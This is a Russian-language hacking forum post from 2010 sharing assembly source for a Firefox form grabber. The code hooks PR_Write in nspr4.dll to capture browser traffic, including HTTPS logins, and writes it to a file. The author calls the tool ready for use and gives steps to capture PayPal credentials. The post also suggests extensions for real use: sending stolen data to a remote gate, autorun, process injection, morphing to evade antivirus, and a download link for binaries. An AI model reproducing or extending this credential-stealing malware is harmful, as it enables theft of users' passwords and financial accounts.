Показать сообщение отдельно

  #3  
Старый 05.02.2010, 17:19
krenki
Новичок
Регистрация: 23.03.2008
Сообщений: 24
Провел на форуме:
126110

Репутация: 14
По умолчанию

Код:
; Список меток на которые ссылается предыдущий код.
         GetModHandle: ; <<< мини Самопальная функа для нахождения хендля модулей. Параметр в регистре ecx - имя DLL
                lea ecx,[ecx+ebp]
                push ecx
                call [GMHcall+ebp]
                ret

          GetAddr: ; <<< Для поиска адреса API функций. ecx-имя функции, eax-хэндл модуля в котором она расположена
                lea ecx,[ecx+ebp]
                push ecx
                lea eax,[eax+ebp]
                mov eax,[eax]
                push eax
                call [GPAcall+ebp]
                ret

          HookAPI: ; <<< Функция установки перехвата(хука) API
                pop edi ; <<< В edi адрес возврата.
                pop ecx ; <<< Имя модуля "nspr4.dll"
                call GetModHandle; <<< Поиск хэндла модуля.
                mov [HMod+ebp],eax
                mov eax,HMod; <<< HMod хэндла модуля.
                pop ecx; <<< Имя функции для перехвата, т.е. "PR_Write"
                call GetAddr; <<< Получаем адрес функции PR_Write.
                mov [FuncAdr+ebp],eax; <<< Сохраняем адрес PR_Write в FuncAdr.
                lea esi,[OldProt+ebp]; <<< Просто переменная для записи
                invoke VirtProt+ebp,[FuncAdr+ebp],6,PAGE_EXECUTE_READWRITE,esi; <<< Ставим права на запись 6 байт после начала PR_Write. API VirtualProtect.
                pop edx; <<< Адрес метки на которую будет переходить управление.
                lea edx,[edx+ebp]; <<< Выравнивание по дельта смещению.(Первый раз понял смысл этих слов :D)
                sub edx,[FuncAdr+ebp]; <<< O_0 и... и... вычитаем из этого добра адресс PR_Write.
                sub edx,5; <<< Вобщем формула была взята отсюда http://www.cyberguru.ru/programming/delphi/api-functions-hook-splicing.html
                xchg eax,edx; <<< Адрес для прыжка на наш код в EAX.
                mov edx,[FuncAdr+ebp]; <<< В EDX  адресс PR_Write.
                mov byte [edx],$E9; <<< опкод JMP помещается в память по адресу PR_Write.
                mov dword [edx+1],eax; <<< по адресу PR_Write со смещением в 1 байт помещается адрес метки NPR.
                mov byte [edx+5],$41  ; <<< смещение 5 байт, опкод INC ECX для того что бы не склеились команды.
                invoke VirtProt+ebp,[FuncAdr+ebp],6,[esi],esi; <<< Возвращаем памяти её атрибуты. API VirtualProtect.
                jmp edi; <<< прыгаем на адрес возврата
           


          WriteToFile:
                pop edi; <<< В edi адрес возврата
                lea edx,[Namef+ebp]; <<< в EDX Путь до файла для записи
                invoke CreateFileCall+ebp,edx,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0h,CREATE_NEW or OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0h
    ;Создаём или открываем файл.            
				mov [hFile+ebp],eax
                invoke SetFilePointerCall+ebp,[hFile+ebp],0,0,FILE_END; <<< Устанавливаем указатель на конец файла
                lea edx,[flbytes+ebp]; <<< Переменная для вывода результата записи.
                pop ebx; <<< Размер данных для записи.
                pop ecx; <<< Адрес данных.
                invoke WriteFileCall+ebp,[hFile+ebp],ecx,ebx,edx,0h; <<< Запись данных в файл.
                lea ecx,[EndLine+ebp]
                lea edx,[flbytes+ebp]
                invoke WriteFileCall+ebp,[hFile+ebp],ecx,1,edx,0h; <<< Запись файл символа окончания строки.
                lea edx,[hFile+ebp]
                invoke CloseHandleCall+ebp,[edx]; <<< Закрываем хэндл файла.
                jmp edi
;<<<<<<<<<< Строковые константы >>>>>>>>>>>>>>>>>
EndLine db 0x0A,0
PR_WriteStr db 'PR_Write',0
nspr4 db 'nspr4.dll',0
Namef db 'C:\FireFox.txt',0
CloseHandleStr db 'CloseHandle',0
WriteFileStr db 'WriteFile',0
SetFilePointerStr db 'SetFilePointer',0
CreateFileStr db 'CreateFileA',0
GPA db 'GetProcAddress',0
GMH db 'GetModuleHandleA',0
USER32 db 'user32.dll',0
VirtualProt db 'VirtualProtect',0
;<<<<<<<<<< Строковые константы >>>>>>>>>>>>>>>>>

thread_end:
Фух... Вот наша крошка готова к применению.

Правда есть несколько минусов.
1) Проверено только на WinXP SP2 т.е. на моей main ОСи.
И естественно только на одной версии FireFox, а именно 3.5.7
2) Пробовал запустить на Варьке, но отказалась. Сразу крэш при выполнении первой инструкции в удалёном потоке. Возможно, после WriteProcessMemory надо изменить атрибуты выделенной страницы на исполнение.
3)Если в FF грузится одновременно много страниц, то происходит крушение браузера.
Хотя если убрать "Самую ответственую часть" то всёбудет пучком.)
4) Палиться проактивкой.
Будем считать, что это защита от применения во вредоносных программах 8)

А теперь сладенькое... :-)```
1)Размер скомпилированного exe без упаковки 2.5 Кбайта. А если сжать FSG, то будет 1.5 Кбайта.
2)Написан на асамблере -> в скорости нет равных.
3)Можно морфить так что родной автор потом свой сорс не узнает.
4)Обходит SSL шифрование.
5)Не имеет побочных эфектов)

Если проявить фантазию то можно посылать награбленный текст мгновенно на гейт с помощью InternetOpenUrlA. Прикрутить автозапуск, сделать инъект в какой-нибудь user процесс, добавить парсер ииииии... просто необходимую вещь как RSA шифрование.

И вообще я за open source трояны к такимже open source браузерам. И лучше чтоб троянец писался у них же и распространялся вместе с обновлениями, подтверждая что FF самый безопасный браузер как и самый безопасный секас по телефону.=)

Сорцы и скомпиленый пример лежат здесь. pass: 4anti4at Компилятор FASM 1.68

Применение:
1)Запускаем FireFox.
2)Запускаем FF_FormGrabber.exe.
3)Заходим например на https://www.paypal.com/ и логинимся под вымышлеными логином и паролем.
4)Смотрим результат в C:\FireFox.txt

Литература: msdn(OMG)com, Рихтер ,Крис Касперски (не путать с Евгением Касперским, а то увидил в коментах его книги "Ты ч0 иди0т эт0ж американский хакер."), цикл статей "Введение в крэкинг с нуля, используя OllyDbg", http://www.it-library.org/articles/?c=7, MS-REM, ну и конечно slesh.

Принимаются наставления на путь истинный.

Последний раз редактировалось krenki; 05.02.2010 в 18:03..